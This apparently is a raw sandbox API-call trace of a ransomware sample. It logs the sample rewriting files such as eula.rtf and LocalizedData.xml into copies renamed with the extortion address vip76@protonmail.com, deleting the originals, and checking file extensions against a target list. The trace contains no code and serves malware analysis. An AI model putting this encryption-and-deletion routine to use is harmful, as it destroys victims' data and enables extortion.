	[0061.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0061.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.398] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.398] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.398] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.398] GetLastError () returned 0x0
	[0061.398] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x109e, lpOverlapped=0x0) returned 1
	[0061.400] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0061.401] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.401] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0061.401] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.401] CloseHandle (hObject=0x2f4) returned 1
	[0061.402] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.402] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.403] CloseHandle (hObject=0x2e4) returned 1
	[0061.403] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.403] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1
	[0061.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.404] lstrlenW (lpString=".doc") returned 4
	[0061.404] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.404] lstrlenW (lpString=".docx") returned 5
	[0061.404] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.404] lstrlenW (lpString=".pdf") returned 4
	[0061.404] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.404] lstrlenW (lpString=".xls") returned 4
	[0061.404] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.404] lstrlenW (lpString=".xlsx") returned 5
	[0061.404] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.404] lstrlenW (lpString=".ppt") returned 4
	[0061.404] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.404] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.404] lstrlenW (lpString=".zip") returned 4
	[0061.404] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.404] lstrlenW (lpString=".rar") returned 4
	[0061.404] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString=".bz2") returned 4
	[0061.405] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString=".7z") returned 3
	[0061.405] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.405] lstrlenW (lpString=".dbf") returned 4
	[0061.405] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.405] lstrlenW (lpString=".1cd") returned 4
	[0061.405] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.405] lstrlenW (lpString=".jpg") returned 4
	[0061.405] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.405] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.405] lstrlenW (lpString=".doc") returned 4
	[0061.405] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString=".docx") returned 5
	[0061.405] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.405] lstrlenW (lpString=".pdf") returned 4
	[0061.405] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.405] lstrlenW (lpString=".xls") returned 4
	[0061.405] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.405] lstrlenW (lpString=".xlsx") returned 5
	[0061.405] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.405] lstrlenW (lpString=".ppt") returned 4
	[0061.406] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.406] lstrlenW (lpString=".zip") returned 4
	[0061.406] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.406] lstrlenW (lpString=".rar") returned 4
	[0061.406] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.406] lstrlenW (lpString=".bz2") returned 4
	[0061.406] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.406] lstrlenW (lpString=".7z") returned 3
	[0061.406] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.406] lstrlenW (lpString=".dbf") returned 4
	[0061.406] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.406] lstrlenW (lpString=".1cd") returned 4
	[0061.406] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.406] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0061.406] lstrlenW (lpString=".jpg") returned 4
	[0061.406] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.406] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.406] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.406] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.407] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=86442) returned 1
	[0061.407] CloseHandle (hObject=0x2e4) returned 1
	[0061.407] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0061.407] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.407] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.407] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.407] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.407] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.408] GetLastError () returned 0x0
	[0061.408] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x151aa, lpOverlapped=0x0) returned 1
	[0061.412] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x151b0, lpOverlapped=0x0) returned 1
	[0061.414] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.415] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.415] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.415] CloseHandle (hObject=0x2f4) returned 1
	[0061.420] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.420] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.421] CloseHandle (hObject=0x2e4) returned 1
	[0061.421] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.422] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1
	[0061.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.472] lstrlenW (lpString=".doc") returned 4
	[0061.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.472] lstrlenW (lpString=".docx") returned 5
	[0061.472] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.472] lstrlenW (lpString=".pdf") returned 4
	[0061.472] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.472] lstrlenW (lpString=".xls") returned 4
	[0061.472] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.472] lstrlenW (lpString=".xlsx") returned 5
	[0061.472] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.472] lstrlenW (lpString=".ppt") returned 4
	[0061.472] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.472] lstrlenW (lpString=".zip") returned 4
	[0061.472] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.472] lstrlenW (lpString=".rar") returned 4
	[0061.472] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.472] lstrlenW (lpString=".bz2") returned 4
	[0061.472] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.472] lstrlenW (lpString=".7z") returned 3
	[0061.473] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.473] lstrlenW (lpString=".dbf") returned 4
	[0061.473] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.473] lstrlenW (lpString=".1cd") returned 4
	[0061.473] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.473] lstrlenW (lpString=".jpg") returned 4
	[0061.473] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.473] lstrlenW (lpString=".doc") returned 4
	[0061.473] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString=".docx") returned 5
	[0061.473] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.473] lstrlenW (lpString=".pdf") returned 4
	[0061.473] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString=".xls") returned 4
	[0061.473] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString=".xlsx") returned 5
	[0061.473] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.473] lstrlenW (lpString=".ppt") returned 4
	[0061.473] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.473] lstrlenW (lpString=".zip") returned 4
	[0061.473] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.473] lstrlenW (lpString=".rar") returned 4
	[0061.473] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.473] lstrlenW (lpString=".bz2") returned 4
	[0061.474] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.474] lstrlenW (lpString=".7z") returned 3
	[0061.474] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.474] lstrlenW (lpString=".dbf") returned 4
	[0061.474] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.474] lstrlenW (lpString=".1cd") returned 4
	[0061.474] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0061.474] lstrlenW (lpString=".jpg") returned 4
	[0061.474] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.474] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.474] lstrlenW (lpString="eula.rtf") returned 8
	[0061.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.475] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3643) returned 1
	[0061.475] CloseHandle (hObject=0x2e4) returned 1
	[0061.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0061.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.476] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.476] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.476] GetLastError () returned 0x0
	[0061.476] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xe3b, lpOverlapped=0x0) returned 1
	[0061.478] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe40, lpOverlapped=0x0) returned 1
	[0061.480] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.480] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0061.480] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.480] CloseHandle (hObject=0x2f4) returned 1
	[0061.481] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.481] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.483] CloseHandle (hObject=0x2e4) returned 1
	[0061.483] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.483] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1
	[0061.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.483] lstrlenW (lpString=".doc") returned 4
	[0061.483] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.483] lstrlenW (lpString=".docx") returned 5
	[0061.484] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.484] lstrlenW (lpString=".pdf") returned 4
	[0061.484] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.484] lstrlenW (lpString=".xls") returned 4
	[0061.484] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.484] lstrlenW (lpString=".xlsx") returned 5
	[0061.484] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.484] lstrlenW (lpString=".ppt") returned 4
	[0061.484] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.484] lstrlenW (lpString=".zip") returned 4
	[0061.484] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.484] lstrlenW (lpString=".rar") returned 4
	[0061.484] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.484] lstrlenW (lpString=".bz2") returned 4
	[0061.484] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.484] lstrlenW (lpString=".7z") returned 3
	[0061.484] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.484] lstrlenW (lpString=".dbf") returned 4
	[0061.484] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.484] lstrlenW (lpString=".1cd") returned 4
	[0061.484] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.484] lstrlenW (lpString=".jpg") returned 4
	[0061.484] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.485] lstrlenW (lpString=".doc") returned 4
	[0061.485] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.485] lstrlenW (lpString=".docx") returned 5
	[0061.485] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.485] lstrlenW (lpString=".pdf") returned 4
	[0061.485] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.485] lstrlenW (lpString=".xls") returned 4
	[0061.485] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.485] lstrlenW (lpString=".xlsx") returned 5
	[0061.485] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.485] lstrlenW (lpString=".ppt") returned 4
	[0061.485] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.485] lstrlenW (lpString=".zip") returned 4
	[0061.485] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.485] lstrlenW (lpString=".rar") returned 4
	[0061.485] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.485] lstrlenW (lpString=".bz2") returned 4
	[0061.485] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.485] lstrlenW (lpString=".7z") returned 3
	[0061.485] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.485] lstrlenW (lpString=".dbf") returned 4
	[0061.486] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.486] lstrlenW (lpString=".1cd") returned 4
	[0061.486] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0061.486] lstrlenW (lpString=".jpg") returned 4
	[0061.486] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.486] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.486] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.486] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=80060) returned 1
	[0061.486] CloseHandle (hObject=0x2e4) returned 1
	[0061.487] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0061.487] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.487] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.487] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.487] GetLastError () returned 0x0
	[0061.487] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x138bc, lpOverlapped=0x0) returned 1
	[0061.491] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x138c0, lpOverlapped=0x0) returned 1
